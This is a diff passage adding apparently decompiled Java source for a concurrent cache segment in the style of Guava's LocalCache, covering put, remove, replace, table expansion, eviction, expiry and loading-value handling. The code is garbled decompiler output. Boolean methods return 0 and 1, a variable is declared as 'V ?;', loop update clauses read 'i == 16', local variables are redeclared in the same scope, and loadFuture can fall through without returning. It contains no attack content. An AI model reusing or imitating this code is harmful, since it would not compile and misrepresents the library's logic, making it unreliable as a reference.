+            if ((valueReference.isLoading()) || ((checkTime) && (now - e.getWriteTime() < map.refreshNanos)))
+            {
+
+
+
+              return null;
+            }
+            
+
+            modCount += 1;
+            Object loadingValueReference = new LocalCache.LoadingValueReference(valueReference);
+            
+            e.setValueReference((LocalCache.ValueReference)loadingValueReference);
+            return loadingValueReference;
+          }
+        }
+        
+        modCount += 1;
+        LocalCache.LoadingValueReference<K, V> loadingValueReference = new LocalCache.LoadingValueReference();
+        e = newEntry(key, hash, first);
+        e.setValueReference(loadingValueReference);
+        table.set(index, e);
+        return loadingValueReference;
+      } finally {
+        unlock();
+        postWriteCleanup();
+      }
+    }
+    
+
+
+
+
+    void tryDrainReferenceQueues()
+    {
+      if (tryLock()) {
+        try {
+          drainReferenceQueues();
+        } finally {
+          unlock();
+        }
+      }
+    }
+    
+
+
+
+    @GuardedBy("Segment.this")
+    void drainReferenceQueues()
+    {
+      if (map.usesKeyReferences()) {
+        drainKeyReferenceQueue();
+      }
+      if (map.usesValueReferences()) {
+        drainValueReferenceQueue();
+      }
+    }
+    
+    @GuardedBy("Segment.this")
+    void drainKeyReferenceQueue()
+    {
+      int i = 0;
+      Reference<? extends K> ref; for (; (ref = keyReferenceQueue.poll()) != null; 
+          
+
+
+          i == 16)
+      {
+        LocalCache.ReferenceEntry<K, V> entry = (LocalCache.ReferenceEntry)ref;
+        map.reclaimKey(entry);
+        i++;
+      }
+    }
+    
+
+
+    @GuardedBy("Segment.this")
+    void drainValueReferenceQueue()
+    {
+      int i = 0;
+      Reference<? extends V> ref; for (; (ref = valueReferenceQueue.poll()) != null; 
+          
+
+
+          i == 16)
+      {
+        LocalCache.ValueReference<K, V> valueReference = (LocalCache.ValueReference)ref;
+        map.reclaimValue(valueReference);
+        i++;
+      }
+    }
+    
+
+
+
+
+    void clearReferenceQueues()
+    {
+      if (map.usesKeyReferences()) {
+        clearKeyReferenceQueue();
+      }
+      if (map.usesValueReferences()) {
+        clearValueReferenceQueue();
+      }
+    }
+    
+    void clearKeyReferenceQueue() {
+      while (keyReferenceQueue.poll() != null) {}
+    }
+    
+    void clearValueReferenceQueue() {
+      while (valueReferenceQueue.poll() != null) {}
+    }
+    
+
+
+
+
+
+
+
+
+    void recordRead(LocalCache.ReferenceEntry<K, V> entry, long now)
+    {
+      if (map.recordsAccess()) {
+        entry.setAccessTime(now);
+      }
+      recencyQueue.add(entry);
+    }
+    
+
+
+
+
+
+
+    @GuardedBy("Segment.this")
+    void recordLockedRead(LocalCache.ReferenceEntry<K, V> entry, long now)
+    {
+      if (map.recordsAccess()) {
+        entry.setAccessTime(now);
+      }
+      accessQueue.add(entry);
+    }
+    
+
+
+
+
+    @GuardedBy("Segment.this")
+    void recordWrite(LocalCache.ReferenceEntry<K, V> entry, int weight, long now)
+    {
+      drainRecencyQueue();
+      totalWeight += weight;
+      
+      if (map.recordsAccess()) {
+        entry.setAccessTime(now);
+      }
+      if (map.recordsWrite()) {
+        entry.setWriteTime(now);
+      }
+      accessQueue.add(entry);
+      writeQueue.add(entry);
+    }
+    
+
+
+
+    @GuardedBy("Segment.this")
+    void drainRecencyQueue()
+    {
+      LocalCache.ReferenceEntry<K, V> e;
+      
+
+      while ((e = (LocalCache.ReferenceEntry)recencyQueue.poll()) != null)
+      {
+
+
+
+        if (accessQueue.contains(e)) {
+          accessQueue.add(e);
+        }
+      }
+    }
+    
+
+
+
+
+    void tryExpireEntries(long now)
+    {
+      if (tryLock()) {
+        try {
+          expireEntries(now);
+        } finally {
+          unlock();
+        }
+      }
+    }
+    
+    @GuardedBy("Segment.this")
+    void expireEntries(long now)
+    {
+      drainRecencyQueue();
+      
+      LocalCache.ReferenceEntry<K, V> e;
+      while (((e = (LocalCache.ReferenceEntry)writeQueue.peek()) != null) && (map.isExpired(e, now))) {
+        if (!removeEntry(e, e.getHash(), RemovalCause.EXPIRED)) {
+          throw new AssertionError();
+        }
+      }
+      while (((e = (LocalCache.ReferenceEntry)accessQueue.peek()) != null) && (map.isExpired(e, now))) {
+        if (!removeEntry(e, e.getHash(), RemovalCause.EXPIRED)) {
+          throw new AssertionError();
+        }
+      }
+    }
+    
+
+    @GuardedBy("Segment.this")
+    void enqueueNotification(LocalCache.ReferenceEntry<K, V> entry, RemovalCause cause)
+    {
+      enqueueNotification(entry.getKey(), entry.getHash(), entry.getValueReference(), cause);
+    }
+    
+    @GuardedBy("Segment.this")
+    void enqueueNotification(@Nullable K key, int hash, LocalCache.ValueReference<K, V> valueReference, RemovalCause cause)
+    {
+      totalWeight -= valueReference.getWeight();
+      if (cause.wasEvicted()) {
+        statsCounter.recordEviction();
+      }
+      if (map.removalNotificationQueue != LocalCache.DISCARDING_QUEUE) {
+        V value = valueReference.get();
+        RemovalNotification<K, V> notification = new RemovalNotification(key, value, cause);
+        map.removalNotificationQueue.offer(notification);
+      }
+    }
+    
+
+
+
+    @GuardedBy("Segment.this")
+    void evictEntries()
+    {
+      if (!map.evictsBySize()) {
+        return;
+      }
+      
+      drainRecencyQueue();
+      while (totalWeight > maxSegmentWeight) {
+        LocalCache.ReferenceEntry<K, V> e = getNextEvictable();
+        if (!removeEntry(e, e.getHash(), RemovalCause.SIZE)) {
+          throw new AssertionError();
+        }
+      }
+    }
+    
+    LocalCache.ReferenceEntry<K, V> getNextEvictable()
+    {
+      for (LocalCache.ReferenceEntry<K, V> e : accessQueue) {
+        int weight = e.getValueReference().getWeight();
+        if (weight > 0) {
+          return e;
+        }
+      }
+      throw new AssertionError();
+    }
+    
+
+
+
+    LocalCache.ReferenceEntry<K, V> getFirst(int hash)
+    {
+      AtomicReferenceArray<LocalCache.ReferenceEntry<K, V>> table = this.table;
+      return (LocalCache.ReferenceEntry)table.get(hash & table.length() - 1);
+    }
+    
+
+    @Nullable
+    LocalCache.ReferenceEntry<K, V> getEntry(Object key, int hash)
+    {
+      for (LocalCache.ReferenceEntry<K, V> e = getFirst(hash); e != null; e = e.getNext()) {
+        if (e.getHash() == hash)
+        {
+
+
+          K entryKey = e.getKey();
+          if (entryKey == null) {
+            tryDrainReferenceQueues();
+
+
+          }
+          else if (map.keyEquivalence.equivalent(key, entryKey)) {
+            return e;
+          }
+        }
+      }
+      return null;
+    }
+    
+    @Nullable
+    LocalCache.ReferenceEntry<K, V> getLiveEntry(Object key, int hash, long now) {
+      LocalCache.ReferenceEntry<K, V> e = getEntry(key, hash);
+      if (e == null)
+        return null;
+      if (map.isExpired(e, now)) {
+        tryExpireEntries(now);
+        return null;
+      }
+      return e;
+    }
+    
+
+
+
+    V getLiveValue(LocalCache.ReferenceEntry<K, V> entry, long now)
+    {
+      if (entry.getKey() == null) {
+        tryDrainReferenceQueues();
+        return null;
+      }
+      V value = entry.getValueReference().get();
+      if (value == null) {
+        tryDrainReferenceQueues();
+        return null;
+      }
+      
+      if (map.isExpired(entry, now)) {
+        tryExpireEntries(now);
+        return null;
+      }
+      return value;
+    }
+    
+    @Nullable
+    V get(Object key, int hash) {
+      try { long now;
+        if (count != 0) {
+          now = map.ticker.read();
+          LocalCache.ReferenceEntry<K, V> e = getLiveEntry(key, hash, now);
+          if (e == null) {
+            return null;
+          }
+          
+          Object value = e.getValueReference().get();
+          if (value != null) {
+            recordRead(e, now);
+            return scheduleRefresh(e, e.getKey(), hash, value, now, map.defaultLoader);
+          }
+          tryDrainReferenceQueues();
+        }
+        return null;
+      } finally {
+        postReadCleanup();
+      }
+    }
+    
+    boolean containsKey(Object key, int hash) {
+      try { long now;
+        if (count != 0) {
+          now = map.ticker.read();
+          LocalCache.ReferenceEntry<K, V> e = getLiveEntry(key, hash, now);
+          boolean bool; if (e == null) {
+            return false;
+          }
+          return e.getValueReference().get() != null;
+        }
+        
+        return 0;
+      } finally {
+        postReadCleanup();
+      }
+    }
+    
+
+    @VisibleForTesting
+    boolean containsValue(Object value)
+    {
+      try
+      {
+        long now;
+        if (count != 0) {
+          now = map.ticker.read();
+          AtomicReferenceArray<LocalCache.ReferenceEntry<K, V>> table = this.table;
+          int length = table.length();
+          for (int i = 0; i < length; i++) {
+            for (LocalCache.ReferenceEntry<K, V> e = (LocalCache.ReferenceEntry)table.get(i); e != null; e = e.getNext()) {
+              V entryValue = getLiveValue(e, now);
+              if (entryValue != null)
+              {
+
+                if (map.valueEquivalence.equivalent(value, entryValue)) {
+                  return true;
+                }
+              }
+            }
+          }
+        }
+        return 0;
+      } finally {
+        postReadCleanup();
+      }
+    }
+    
+    @Nullable
+    V put(K key, int hash, V value, boolean onlyIfAbsent) {
+      lock();
+      try {
+        long now = map.ticker.read();
+        preWriteCleanup(now);
+        
+        int newCount = count + 1;
+        if (newCount > threshold) {
+          expand();
+          newCount = count + 1;
+        }
+        
+        AtomicReferenceArray<LocalCache.ReferenceEntry<K, V>> table = this.table;
+        int index = hash & table.length() - 1;
+        LocalCache.ReferenceEntry<K, V> first = (LocalCache.ReferenceEntry)table.get(index);
+        
+        K entryKey;
+        for (LocalCache.ReferenceEntry<K, V> e = first; e != null; e = e.getNext()) {
+          entryKey = e.getKey();
+          if ((e.getHash() == hash) && (entryKey != null) && (map.keyEquivalence.equivalent(key, entryKey)))
+          {
+
+
+            LocalCache.ValueReference<K, V> valueReference = e.getValueReference();
+            V entryValue = valueReference.get();
+            V ?;
+            if (entryValue == null) {
+              modCount += 1;
+              if (valueReference.isActive()) {
+                enqueueNotification(key, hash, valueReference, RemovalCause.COLLECTED);
+                setValue(e, key, value, now);
+                newCount = count;
+              } else {
+                setValue(e, key, value, now);
+                newCount = count + 1;
+              }
+              count = newCount;
+              evictEntries();
+              return null; }
+            if (onlyIfAbsent)
+            {
+
+
+              recordLockedRead(e, now);
+              return entryValue;
+            }
+            
+            modCount += 1;
+            enqueueNotification(key, hash, valueReference, RemovalCause.REPLACED);
+            setValue(e, key, value, now);
+            evictEntries();
+            return entryValue;
+          }
+        }
+        
+
+
+        modCount += 1;
+        LocalCache.ReferenceEntry<K, V> newEntry = newEntry(key, hash, first);
+        setValue(newEntry, key, value, now);
+        table.set(index, newEntry);
+        newCount = count + 1;
+        count = newCount;
+        evictEntries();
+        return null;
+      } finally {
+        unlock();
+        postWriteCleanup();
+      }
+    }
+    
+
+
+    @GuardedBy("Segment.this")
+    void expand()
+    {
+      AtomicReferenceArray<LocalCache.ReferenceEntry<K, V>> oldTable = table;
+      int oldCapacity = oldTable.length();
+      if (oldCapacity >= 1073741824) {
+        return;
+      }
+      
+
+
+
+
+
+
+
+
+
+
+      int newCount = count;
+      AtomicReferenceArray<LocalCache.ReferenceEntry<K, V>> newTable = newEntryArray(oldCapacity << 1);
+      threshold = (newTable.length() * 3 / 4);
+      int newMask = newTable.length() - 1;
+      for (int oldIndex = 0; oldIndex < oldCapacity; oldIndex++)
+      {
+
+        LocalCache.ReferenceEntry<K, V> head = (LocalCache.ReferenceEntry)oldTable.get(oldIndex);
+        
+        if (head != null) {
+          LocalCache.ReferenceEntry<K, V> next = head.getNext();
+          int headIndex = head.getHash() & newMask;
+          
+
+          if (next == null) {
+            newTable.set(headIndex, head);
+
+          }
+          else
+          {
+            LocalCache.ReferenceEntry<K, V> tail = head;
+            int tailIndex = headIndex;
+            for (LocalCache.ReferenceEntry<K, V> e = next; e != null; e = e.getNext()) {
+              int newIndex = e.getHash() & newMask;
+              if (newIndex != tailIndex)
+              {
+                tailIndex = newIndex;
+                tail = e;
+              }
+            }
+            newTable.set(tailIndex, tail);
+            
+
+            for (LocalCache.ReferenceEntry<K, V> e = head; e != tail; e = e.getNext()) {
+              int newIndex = e.getHash() & newMask;
+              LocalCache.ReferenceEntry<K, V> newNext = (LocalCache.ReferenceEntry)newTable.get(newIndex);
+              LocalCache.ReferenceEntry<K, V> newFirst = copyEntry(e, newNext);
+              if (newFirst != null) {
+                newTable.set(newIndex, newFirst);
+              } else {
+                removeCollectedEntry(e);
+                newCount--;
+              }
+            }
+          }
+        }
+      }
+      table = newTable;
+      count = newCount;
+    }
+    
+    boolean replace(K key, int hash, V oldValue, V newValue) {
+      lock();
+      try {
+        long now = map.ticker.read();
+        preWriteCleanup(now);
+        
+        AtomicReferenceArray<LocalCache.ReferenceEntry<K, V>> table = this.table;
+        int index = hash & table.length() - 1;
+        LocalCache.ReferenceEntry<K, V> first = (LocalCache.ReferenceEntry)table.get(index);
+        
+        for (LocalCache.ReferenceEntry<K, V> e = first; e != null; e = e.getNext()) {
+          K entryKey = e.getKey();
+          if ((e.getHash() == hash) && (entryKey != null) && (map.keyEquivalence.equivalent(key, entryKey)))
+          {
+            LocalCache.ValueReference<K, V> valueReference = e.getValueReference();
+            V entryValue = valueReference.get();
+            int newCount; if (entryValue == null) {
+              if (valueReference.isActive())
+              {
+                newCount = count - 1;
+                modCount += 1;
+                LocalCache.ReferenceEntry<K, V> newFirst = removeValueFromChain(first, e, entryKey, hash, valueReference, RemovalCause.COLLECTED);
+                
+                newCount = count - 1;
+                table.set(index, newFirst);
+                count = newCount;
+              }
+              return 0;
+            }
+            
+            if (map.valueEquivalence.equivalent(oldValue, entryValue)) {
+              modCount += 1;
+              enqueueNotification(key, hash, valueReference, RemovalCause.REPLACED);
+              setValue(e, key, newValue, now);
+              evictEntries();
+              return 1;
+            }
+            
+
+            recordLockedRead(e, now);
+            return 0;
+          }
+        }
+        
+
+        return 0;
+      } finally {
+        unlock();
+        postWriteCleanup();
+      }
+    }
+    
+    @Nullable
+    V replace(K key, int hash, V newValue) {
+      lock();
+      try {
+        long now = map.ticker.read();
+        preWriteCleanup(now);
+        
+        AtomicReferenceArray<LocalCache.ReferenceEntry<K, V>> table = this.table;
+        int index = hash & table.length() - 1;
+        LocalCache.ReferenceEntry<K, V> first = (LocalCache.ReferenceEntry)table.get(index);
+        
+        for (LocalCache.ReferenceEntry<K, V> e = first; e != null; e = e.getNext()) {
+          K entryKey = e.getKey();
+          if ((e.getHash() == hash) && (entryKey != null) && (map.keyEquivalence.equivalent(key, entryKey)))
+          {
+            LocalCache.ValueReference<K, V> valueReference = e.getValueReference();
+            V entryValue = valueReference.get();
+            int newCount; if (entryValue == null) {
+              if (valueReference.isActive())
+              {
+                newCount = count - 1;
+                modCount += 1;
+                LocalCache.ReferenceEntry<K, V> newFirst = removeValueFromChain(first, e, entryKey, hash, valueReference, RemovalCause.COLLECTED);
+                
+                newCount = count - 1;
+                table.set(index, newFirst);
+                count = newCount;
+              }
+              return null;
+            }
+            
+            modCount += 1;
+            enqueueNotification(key, hash, valueReference, RemovalCause.REPLACED);
+            setValue(e, key, newValue, now);
+            evictEntries();
+            return entryValue;
+          }
+        }
+        
+        return null;
+      } finally {
+        unlock();
+        postWriteCleanup();
+      }
+    }
+    
+    @Nullable
+    V remove(Object key, int hash) {
+      lock();
+      try {
+        long now = map.ticker.read();
+        preWriteCleanup(now);
+        
+        int newCount = count - 1;
+        AtomicReferenceArray<LocalCache.ReferenceEntry<K, V>> table = this.table;
+        int index = hash & table.length() - 1;
+        LocalCache.ReferenceEntry<K, V> first = (LocalCache.ReferenceEntry)table.get(index);
+        
+        for (LocalCache.ReferenceEntry<K, V> e = first; e != null; e = e.getNext()) {
+          K entryKey = e.getKey();
+          if ((e.getHash() == hash) && (entryKey != null) && (map.keyEquivalence.equivalent(key, entryKey)))
+          {
+            LocalCache.ValueReference<K, V> valueReference = e.getValueReference();
+            V entryValue = valueReference.get();
+            
+            RemovalCause cause;
+            if (entryValue != null) {
+              cause = RemovalCause.EXPLICIT; } else { RemovalCause cause;
+              if (valueReference.isActive()) {
+                cause = RemovalCause.COLLECTED;
+              }
+              else
+                return null;
+            }
+            RemovalCause cause;
+            modCount += 1;
+            Object newFirst = removeValueFromChain(first, e, entryKey, hash, valueReference, cause);
+            
+            newCount = count - 1;
+            table.set(index, newFirst);
+            count = newCount;
+            return entryValue;
+          }
+        }
+        
+        return null;
+      } finally {
+        unlock();
+        postWriteCleanup();
+      }
+    }
+    
+    boolean storeLoadedValue(K key, int hash, LocalCache.LoadingValueReference<K, V> oldValueReference, V newValue)
+    {
+      lock();
+      try {
+        long now = map.ticker.read();
+        preWriteCleanup(now);
+        
+        int newCount = count + 1;
+        if (newCount > threshold) {
+          expand();
+          newCount = count + 1;
+        }
+        
+        AtomicReferenceArray<LocalCache.ReferenceEntry<K, V>> table = this.table;
+        int index = hash & table.length() - 1;
+        LocalCache.ReferenceEntry<K, V> first = (LocalCache.ReferenceEntry)table.get(index);
+        K entryKey;
+        for (LocalCache.ReferenceEntry<K, V> e = first; e != null; e = e.getNext()) {
+          entryKey = e.getKey();
+          if ((e.getHash() == hash) && (entryKey != null) && (map.keyEquivalence.equivalent(key, entryKey)))
+          {
+            LocalCache.ValueReference<K, V> valueReference = e.getValueReference();
+            V entryValue = valueReference.get();
+            
+            RemovalCause cause;
+            if ((oldValueReference == valueReference) || ((entryValue == null) && (valueReference != LocalCache.UNSET)))
+            {
+              modCount += 1;
+              if (oldValueReference.isActive()) {
+                cause = entryValue == null ? RemovalCause.COLLECTED : RemovalCause.REPLACED;
+                
+                enqueueNotification(key, hash, oldValueReference, cause);
+                newCount--;
+              }
+              setValue(e, key, newValue, now);
+              count = newCount;
+              evictEntries();
+              return 1;
+            }
+            
+
+            valueReference = new LocalCache.WeightedStrongValueReference(newValue, 0);
+            enqueueNotification(key, hash, valueReference, RemovalCause.REPLACED);
+            return 0;
+          }
+        }
+        
+        modCount += 1;
+        LocalCache.ReferenceEntry<K, V> newEntry = newEntry(key, hash, first);
+        setValue(newEntry, key, newValue, now);
+        table.set(index, newEntry);
+        count = newCount;
+        evictEntries();
+        return 1;
+      } finally {
+        unlock();
+        postWriteCleanup();
+      }
+    }
+    
+    boolean remove(Object key, int hash, Object value) {
+      lock();
+      try {
+        long now = map.ticker.read();
+        preWriteCleanup(now);
+        
+        int newCount = count - 1;
+        AtomicReferenceArray<LocalCache.ReferenceEntry<K, V>> table = this.table;
+        int index = hash & table.length() - 1;
+        LocalCache.ReferenceEntry<K, V> first = (LocalCache.ReferenceEntry)table.get(index);
+        
+        for (LocalCache.ReferenceEntry<K, V> e = first; e != null; e = e.getNext()) {
+          K entryKey = e.getKey();
+          if ((e.getHash() == hash) && (entryKey != null) && (map.keyEquivalence.equivalent(key, entryKey)))
+          {
+            LocalCache.ValueReference<K, V> valueReference = e.getValueReference();
+            V entryValue = valueReference.get();
+            
+            RemovalCause cause;
+            if (map.valueEquivalence.equivalent(value, entryValue)) {
+              cause = RemovalCause.EXPLICIT; } else { RemovalCause cause;
+              if ((entryValue == null) && (valueReference.isActive())) {
+                cause = RemovalCause.COLLECTED;
+              }
+              else
+                return false;
+            }
+            RemovalCause cause;
+            modCount += 1;
+            Object newFirst = removeValueFromChain(first, e, entryKey, hash, valueReference, cause);
+            
+            newCount = count - 1;
+            table.set(index, newFirst);
+            count = newCount;
+            return cause == RemovalCause.EXPLICIT;
+          }
+        }
+        
+        return 0;
+      } finally {
+        unlock();
+        postWriteCleanup();
+      }
+    }
+    
+    void clear() {
+      if (count != 0) {
+        lock();
+        try {
+          AtomicReferenceArray<LocalCache.ReferenceEntry<K, V>> table = this.table;
+          for (int i = 0; i < table.length(); i++) {
+            for (LocalCache.ReferenceEntry<K, V> e = (LocalCache.ReferenceEntry)table.get(i); e != null; e = e.getNext())
+            {
+              if (e.getValueReference().isActive()) {
+                enqueueNotification(e, RemovalCause.EXPLICIT);
+              }
+            }
+          }
+          for (int i = 0; i < table.length(); i++) {
+            table.set(i, null);
+          }
+          clearReferenceQueues();
+          writeQueue.clear();
+          accessQueue.clear();
+          readCount.set(0);
+          
+          modCount += 1;
+          count = 0;
+        } finally {
+          unlock();
+          postWriteCleanup();
+        }
+      }
+    }
+    
+
+    @Nullable
+    @GuardedBy("Segment.this")
+    LocalCache.ReferenceEntry<K, V> removeValueFromChain(LocalCache.ReferenceEntry<K, V> first, LocalCache.ReferenceEntry<K, V> entry, @Nullable K key, int hash, LocalCache.ValueReference<K, V> valueReference, RemovalCause cause)
+    {
+      enqueueNotification(key, hash, valueReference, cause);
+      writeQueue.remove(entry);
+      accessQueue.remove(entry);
+      
+      if (valueReference.isLoading()) {
+        valueReference.notifyNewValue(null);
+        return first;
+      }
+      return removeEntryFromChain(first, entry);
+    }
+    
+
+    @Nullable
+    @GuardedBy("Segment.this")
+    LocalCache.ReferenceEntry<K, V> removeEntryFromChain(LocalCache.ReferenceEntry<K, V> first, LocalCache.ReferenceEntry<K, V> entry)
+    {
+      int newCount = count;
+      LocalCache.ReferenceEntry<K, V> newFirst = entry.getNext();
+      for (LocalCache.ReferenceEntry<K, V> e = first; e != entry; e = e.getNext()) {
+        LocalCache.ReferenceEntry<K, V> next = copyEntry(e, newFirst);
+        if (next != null) {
+          newFirst = next;
+        } else {
+          removeCollectedEntry(e);
+          newCount--;
+        }
+      }
+      count = newCount;
+      return newFirst;
+    }
+    
+    @GuardedBy("Segment.this")
+    void removeCollectedEntry(LocalCache.ReferenceEntry<K, V> entry) {
+      enqueueNotification(entry, RemovalCause.COLLECTED);
+      writeQueue.remove(entry);
+      accessQueue.remove(entry);
+    }
+    
+
+
+    boolean reclaimKey(LocalCache.ReferenceEntry<K, V> entry, int hash)
+    {
+      lock();
+      try {
+        int newCount = count - 1;
+        AtomicReferenceArray<LocalCache.ReferenceEntry<K, V>> table = this.table;
+        int index = hash & table.length() - 1;
+        LocalCache.ReferenceEntry<K, V> first = (LocalCache.ReferenceEntry)table.get(index);
+        
+        for (LocalCache.ReferenceEntry<K, V> e = first; e != null; e = e.getNext()) {
+          if (e == entry) {
+            modCount += 1;
+            LocalCache.ReferenceEntry<K, V> newFirst = removeValueFromChain(first, e, e.getKey(), hash, e.getValueReference(), RemovalCause.COLLECTED);
+            
+            newCount = count - 1;
+            table.set(index, newFirst);
+            count = newCount;
+            return true;
+          }
+        }
+        
+        return 0;
+      } finally {
+        unlock();
+        postWriteCleanup();
+      }
+    }
+    
+
+
+    boolean reclaimValue(K key, int hash, LocalCache.ValueReference<K, V> valueReference)
+    {
+      lock();
+      try {
+        int newCount = count - 1;
+        AtomicReferenceArray<LocalCache.ReferenceEntry<K, V>> table = this.table;
+        int index = hash & table.length() - 1;
+        LocalCache.ReferenceEntry<K, V> first = (LocalCache.ReferenceEntry)table.get(index);
+        
+        for (LocalCache.ReferenceEntry<K, V> e = first; e != null; e = e.getNext()) {
+          K entryKey = e.getKey();
+          if ((e.getHash() == hash) && (entryKey != null) && (map.keyEquivalence.equivalent(key, entryKey)))
+          {
+            LocalCache.ValueReference<K, V> v = e.getValueReference();
+            LocalCache.ReferenceEntry<K, V> newFirst; if (v == valueReference) {
+              modCount += 1;
+              newFirst = removeValueFromChain(first, e, entryKey, hash, valueReference, RemovalCause.COLLECTED);
+              
+              newCount = count - 1;
+              table.set(index, newFirst);
+              count = newCount;
+              return true;
+            }
+            return 0;
+          }
+        }
+        
+        return 0;
+      } finally {
+        unlock();
+        if (!isHeldByCurrentThread()) {
+          postWriteCleanup();
+        }
+      }
+    }
+    
+    boolean removeLoadingValue(K key, int hash, LocalCache.LoadingValueReference<K, V> valueReference) {
+      lock();
+      try {
+        AtomicReferenceArray<LocalCache.ReferenceEntry<K, V>> table = this.table;
+        int index = hash & table.length() - 1;
+        LocalCache.ReferenceEntry<K, V> first = (LocalCache.ReferenceEntry)table.get(index);
+        
+        for (LocalCache.ReferenceEntry<K, V> e = first; e != null; e = e.getNext()) {
+          K entryKey = e.getKey();
+          if ((e.getHash() == hash) && (entryKey != null) && (map.keyEquivalence.equivalent(key, entryKey)))
+          {
+            LocalCache.ValueReference<K, V> v = e.getValueReference();
+            LocalCache.ReferenceEntry<K, V> newFirst; if (v == valueReference) {
+              if (valueReference.isActive()) {
+                e.setValueReference(valueReference.getOldValue());
+              } else {
+                newFirst = removeEntryFromChain(first, e);
+                table.set(index, newFirst);
+              }
+              return 1;
+            }
+            return 0;
+          }
+        }
+        
+        return 0;
+      } finally {
+        unlock();
+        postWriteCleanup();
+      }
+    }
+    
+    @GuardedBy("Segment.this")
+    boolean removeEntry(LocalCache.ReferenceEntry<K, V> entry, int hash, RemovalCause cause) {
+      int newCount = count - 1;
+      AtomicReferenceArray<LocalCache.ReferenceEntry<K, V>> table = this.table;
+      int index = hash & table.length() - 1;
+      LocalCache.ReferenceEntry<K, V> first = (LocalCache.ReferenceEntry)table.get(index);
+      
+      for (LocalCache.ReferenceEntry<K, V> e = first; e != null; e = e.getNext()) {
+        if (e == entry) {
+          modCount += 1;
+          LocalCache.ReferenceEntry<K, V> newFirst = removeValueFromChain(first, e, e.getKey(), hash, e.getValueReference(), cause);
+          
+          newCount = count - 1;
+          table.set(index, newFirst);
+          count = newCount;
+          return true;
+        }
+      }
+      
+      return false;
+    }
+    
+
+
+
+    void postReadCleanup()
+    {
+      if ((readCount.incrementAndGet() & 0x3F) == 0) {
+        cleanUp();
+      }
+    }
+    
+
+
+
+
+
+    @GuardedBy("Segment.this")
+    void preWriteCleanup(long now)
+    {
+      runLockedCleanup(now);
+    }
+    
+
+
+    void postWriteCleanup()
+    {
+      runUnlockedCleanup();
+    }
+    
+    void cleanUp() {
+      long now = map.ticker.read();
+      runLockedCleanup(now);
+      runUnlockedCleanup();
+    }
+    
+    void runLockedCleanup(long now) {
+      if (tryLock()) {
+        try {
+          drainReferenceQueues();
+          expireEntries(now);
+          readCount.set(0);
+        } finally {
+          unlock();
+        }
+      }
+    }
+    
+    void runUnlockedCleanup()
+    {
+      if (!isHeldByCurrentThread()) {
+        map.processPendingNotifications();
+      }
+    }
+  }
+  
+
+  static class LoadingValueReference<K, V>
+    implements LocalCache.ValueReference<K, V>
+  {
+    volatile LocalCache.ValueReference<K, V> oldValue;
+    final SettableFuture<V> futureValue = SettableFuture.create();
+    final Stopwatch stopwatch = Stopwatch.createUnstarted();
+    
+    public LoadingValueReference() {
+      this(LocalCache.unset());
+    }
+    
+    public LoadingValueReference(LocalCache.ValueReference<K, V> oldValue) {
+      this.oldValue = oldValue;
+    }
+    
+    public boolean isLoading()
+    {
+      return true;
+    }
+    
+    public boolean isActive()
+    {
+      return oldValue.isActive();
+    }
+    
+    public int getWeight()
+    {
+      return oldValue.getWeight();
+    }
+    
+    public boolean set(@Nullable V newValue) {
+      return futureValue.set(newValue);
+    }
+    
+    public boolean setException(Throwable t) {
+      return futureValue.setException(t);
+    }
+    
+    private ListenableFuture<V> fullyFailedFuture(Throwable t) {
+      return Futures.immediateFailedFuture(t);
+    }
+    
+    public void notifyNewValue(@Nullable V newValue)
+    {
+      if (newValue != null)
+      {
+
+        set(newValue);
+      }
+      else {
+        oldValue = LocalCache.unset();
+      }
+    }
+    
+
+    public ListenableFuture<V> loadFuture(K key, CacheLoader<? super K, V> loader)
+    {
+      stopwatch.start();
+      V previousValue = oldValue.get();
+      try {
+        if (previousValue == null) {
+          V newValue = loader.load(key);
+          return set(newValue) ? futureValue : Futures.immediateFuture(newValue);
+        }
+        ListenableFuture<V> newValue = loader.reload(key, previousValue);
+        if (newValue == null) {
+          return Futures.immediateFuture(null);
+        }
+        
+
+        Futures.transform(newValue, new Function()
+        {
+          public V apply(V newValue) {
+            set(newValue);
+            return newValue;
+          }
+        });
+      } catch (Throwable t) {
+        if ((t instanceof InterruptedException)) {
+          Thread.currentThread().interrupt();
+        }
+        return setException(t) ? futureValue : fullyFailedFuture(t);
+      }
+    }
+    
+    public long elapsedNanos() {
+      return stopwatch.elapsed(TimeUnit.NANOSECONDS);
+    }
+    
+    public V waitForValue() throws ExecutionException
+    {
+      return Uninterruptibles.getUninterruptibly(futureValue);
+    }
+    
+    public V get()
+    {
+      return oldValue.get();
+    }
+    
+    public LocalCache.ValueReference<K, V> getOldValue() {
+      return oldValue;
+    }
+    
+    public LocalCache.ReferenceEntry<K, V> getEntry()
+    {
+      return null;
+    }
+    
+
+    public LocalCache.ValueReference<K, V> copyFor(ReferenceQueue<V> queue, @Nullable V value, LocalCache.ReferenceEntry<K, V> entry)
+    {
+      return this;
+    }
+  }
+  
+
+
+
+
+
+
+
+
+
+
+
+  static final class WriteQueue<K, V>
+    extends AbstractQueue<LocalCache.ReferenceEntry<K, V>>
+  {
+    final LocalCache.ReferenceEntry<K, V> head = new LocalCache.AbstractReferenceEntry()
+    {
+      public long getWriteTime()
+      {
+        return Long.MAX_VALUE;
+      }
+      
+
+
+
+      LocalCache.ReferenceEntry<K, V> nextWrite = this;
+      
+      public void setWriteTime(long time) {}
+      
+      public LocalCache.ReferenceEntry<K, V> getNextInWriteQueue() { return nextWrite; }
+      
+
+      public void setNextInWriteQueue(LocalCache.ReferenceEntry<K, V> next)
+      {
+        nextWrite = next;
+      }
+      
+      LocalCache.ReferenceEntry<K, V> previousWrite = this;
+      
+      public LocalCache.ReferenceEntry<K, V> getPreviousInWriteQueue()
+      {
+        return previousWrite;
+      }
+      
+      public void setPreviousInWriteQueue(LocalCache.ReferenceEntry<K, V> previous)
+      {
+        previousWrite = previous;
+      }
+    };
+    
+
+    WriteQueue() {}
+    
+    public boolean offer(LocalCache.ReferenceEntry<K, V> entry)
+    {
+      LocalCache.connectWriteOrder(entry.getPreviousInWriteQueue(), entry.getNextInWriteQueue());
+      
+
+      LocalCache.connectWriteOrder(head.getPreviousInWriteQueue(), entry);
+      LocalCache.connectWriteOrder(entry, head);
+      
+      return true;
+    }
+    
+    public LocalCache.ReferenceEntry<K, V> peek()
+    {
+      LocalCache.ReferenceEntry<K, V> next = head.getNextInWriteQueue();
+      return next == head ? null : next;
+    }
+    
+    public LocalCache.ReferenceEntry<K, V> poll()
+    {
+      LocalCache.ReferenceEntry<K, V> next = head.getNextInWriteQueue();
+      if (next == head) {
+        return null;
+      }
+      
+      remove(next);
+      return next;
+    }
+    
+
+    public boolean remove(Object o)
+    {
